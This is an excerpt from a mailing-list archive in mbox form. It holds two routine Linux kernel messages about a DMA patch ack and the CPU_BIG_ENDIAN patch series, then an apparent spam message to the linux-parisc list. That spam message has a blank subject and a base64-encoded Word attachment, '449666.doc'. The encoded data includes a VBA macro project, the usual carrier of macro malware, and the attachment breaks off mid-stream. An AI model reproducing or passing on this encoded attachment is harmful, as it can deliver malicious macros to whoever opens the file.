Xref: news.gmane.org gmane.linux.kernel:2559779 gmane.linux.network:488344 gmane.linux.ports.mips:152 gmane.linux.ports.parisc:27779
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2559779>

On Mon, Aug 28, 2017 at 03:41:51PM -0700, David Miller wrote:
> From: Christoph Hellwig <hch@lst.de>
> Date: Sat, 26 Aug 2017 09:21:22 +0200
> 
> > Use dma_alloc_attrs directly instead of the dma_alloc_noncoherent wrapper.
> > 
> > Signed-off-by: Christoph Hellwig <hch@lst.de>
> 
> Acked-by: David S. Miller <davem@davemloft.net>

I take the Acks as an ok to merges these patches through the dma-mapping
tree.  Thanks Dave!


From - Thu Nov 08 21:40:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 0/3] Define CPU_BIG_ENDIAN or warn for inconsistencies
Date: Tue, 29 Aug 2017 11:04:30 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20170829090430.f6p3shucjxzicekw@hirez.programming.kicks-ass.net>
References: <1499358861-179979-1-git-send-email-babu.moger@oracle.com>
 <20170829063015.GA12198@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503997527 19925 195.159.176.226 (29 Aug 2017 09:05:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 29 Aug 2017 09:05:27 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Babu Moger <babu.moger@oracle.com>, ysato@users.sourceforge.jp,
        geert@linux-m68k.org, jonas@southpole.se,
        stefan.kristiansson@saunalahti.fi, shorne@gmail.com,
        jejb@parisc-linux.org, deller@gmx.de, davem@davemloft.net,
        viro@zeniv.linux.org.uk, monstr@monstr.eu, mpe@ellerman.id.au,
        mingo@redhat.com, jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>
To: Greg KH <gregkh@linuxfoundation.org>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Aug 29 11:05:20 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1dmcST-0004Uw-F6
	for lnx-sparclinux@m.gmane.org; Tue, 29 Aug 2017 11:05:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751715AbdH2JFM (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Tue, 29 Aug 2017 05:05:12 -0400
Original-Received: from bombadil.infradead.org ([65.50.211.133]:53679 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751299AbdH2JFK (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Tue, 29 Aug 2017 05:05:10 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=In-Reply-To:Content-Type:MIME-Version
        :References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=6hgH/A3lbziVwslYm3T2e8iZ0xLM0juko6FiWST9XcY=; b=gIywsq+kUbdMhDWe3PZyY7BTU
        58/hlsjqZf+clU9uiFuyRJCdIEV+aAgM1qvY+d3byZltG598u6DbDHu+2ptA0dOVSABN7/YLsbAcs
        R3JscyUmFupz+WbOtWug+9KN9z/ExzTxw8MLBG8maIkvZw1tRycaFboCAjMpcq3kFk8+r3XoMPEfh
        HyAjv395je6i2fo7C5aIL7EjUzyw1+tNMNbBnAnitF3UD3mJtjPusVW+hqzXfvyIvyea56sSBv67L
        0UJal3Ch7S0I0jv6TG4eeOIRlmSmV7JN9LyCHXLCS4Mr2nFfKLLa1HNwOX9CvkoqbsmKuXhO0Yy7Y
    
Original-Received: from j217100.upc-j.chello.nl ([24.132.217.100] helo=hirez.programming.kicks-ass.net)
        by bombadil.infradead.org with esmtpsa (Exim 4.87 #1 (Red Hat Linux))
        id 1dmcRk-0005ml-Ju; Tue, 29 Aug 2017 09:04:33 +0000
Original-Received: by hirez.programming.kicks-ass.net (Postfix, from userid 1000)
        id A6E4D20208AD9; Tue, 29 Aug 2017 11:04:30 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20170829063015.GA12198@kroah.com>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:26438 gmane.linux.kernel:2559828 gmane.linux.ports.m68k:9496 gmane.linux.ports.parisc:27780
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/26438>

On Tue, Aug 29, 2017 at 08:30:15AM +0200, Greg KH wrote:
> On Thu, Jul 06, 2017 at 09:34:18AM -0700, Babu Moger wrote:
> > Resending the series per Greg KH's request.
> > 
> > Found this problem while enabling queued rwlock on SPARC.
> > The parameter CONFIG_CPU_BIG_ENDIAN is used to clear the
> > specific byte in qrwlock structure. Without this parameter,
> > we clear the wrong byte.
> > Here is the code in include/asm-generic/qrwlock.h
> > 
> > static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
> >   {
> >          return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
> >   }
> > 
> > Also found few more references of this parameter in
> > drivers/of/base.c
> > drivers/of/fdt.c
> > drivers/tty/serial/earlycon.c
> > drivers/tty/serial/serial_core.c
> > 
> > Here is our previous discussion.
> > https://lkml.org/lkml/2017/5/24/620
> > 
> > Based on the discussion, it was decided to add CONFIG_CPU_BIG_ENDIAN
> > for all the fixed big endian architecture(frv, h8300, m68k, openrisc,
> > parisc and sparc). And warn if there are inconsistencies in this definition.
> 
> Did this series ever get picked up by anyone?  I don't know whose tree
> it should go through if not, anyone have any ideas?  I guess I could,
> but arch-specific stuff is odd...

Seems like something that akpm would pick up, but it appears people
didn't actually Cc him.

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <m.wierczynska@lask.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Thu, 31 Aug 2017 01:39:27 -0000
Lines: 548
Approved: news@gmane.org
Message-ID: <150414356714.2454.17918763597485817094@ras.mcy.cantv.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: application/msword; name="449666.doc"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1504143575 21324 195.159.176.226 (31 Aug 2017 01:39:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 31 Aug 2017 01:39:35 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 31 03:39:32 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dnES5-0001Fd-Qs
	for glpp-linux-parisc@m.gmane.org; Thu, 31 Aug 2017 03:39:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750802AbdHaBjd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 30 Aug 2017 21:39:33 -0400
Original-Received: from delicias-ras1-069.ras.mcy.cantv.net ([200.44.166.70]:45132 "HELO
        ras.mcy.cantv.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with SMTP id S1750774AbdHaBjc (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 30 Aug 2017 21:39:32 -0400
X-Greylist: delayed 599 seconds by postgrey-1.27 at vger.kernel.org; Wed, 30 Aug 2017 21:39:31 EDT
Importance: high
X-Message-Flag: Follow up
Original-Subject: 
Content-Disposition: attachment
X-Priority: 1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27781>

UEsDBBQABgAIAAAAIQBTbDf7ywEAANIGAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0
Vclu2zAQvRfIPwi8BhKdHIqgsJxD4h6bAHWQM0WNbDbiAnLsxH+foWQLrWNLytKLAC1vmTcz1PT6
RdfJBnxQ1uTsIpuwBIy0pTLLnD0sfqZXLAkoTClqayBnWwjsenb2bbrYOggJoU3I2QrR/eA8yBVo
ETLrwNCbynotkG79kjshn8QS+OVk8p1LaxAMphg52Gx6C5VY15jMX+hx66RQhiU37XdRKmfCuVpJ
gWSUb0yZ6ZDaqlISsk0h7r39AxIZP0rmzPKATOloJj4/jvBQhwPIof6/Raa7AjNCNh7DSrlwTimc
UIhvThe4w91RZ7wqIbkXHn8JTTHwZ+tLXlq51hRh1k+zyylCsg6ihfR2bkRRA6UolNm7PKlm1roA
TyMxQu4glrZFnXZ04ryVEALR6TrrqAdNBNzWEL7eQcvbJ0/uab5c4DQCn9aHOOMllCnF4MCjgm5K
TubfWnxUuJpXFY35mBRoPZq2v8H2VdrMVgBEas4YkXc2e888aIE2+lagGBH2vswdYpAZ6YQC3lwv
RtD3F9jQDEpWdIot4rZ9Wu/N9nTUgyaeofj93/r6F3mfkW6PpPUfCGN/wkb0ke3hzR9p9goAAP//
AwBQSwMEFAAGAAgAAAAhAB6RGrfzAAAATgIAAAsACAJfcmVscy8ucmVscyCiBAIooAACAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMkttKA0EM
hu8F32HIfTfbCiLS2d5IoXci6wOEmewBdw7MpNq+vaMgulDbXub058tP1puDm9Q7pzwGr2FZ1aDY
m2BH32t4bbeLB1BZyFuagmcNR86waW5v1i88kZShPIwxq6Lis4ZBJD4iZjOwo1yFyL5UupAcSQlT
j5HMG/WMq7q+x/RXA5qZptpZDWln70C1x1g2X9YOXTcafgpm79jLiRXIB2Fv2S5iKmxJxnKNain1
LBpsMM8lnZFirAo24Gmi1fVE/1+LjoUsCaEJic/zfHWcA1peD3TZonnHrzsfIVksFn17+0ODsy9o
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
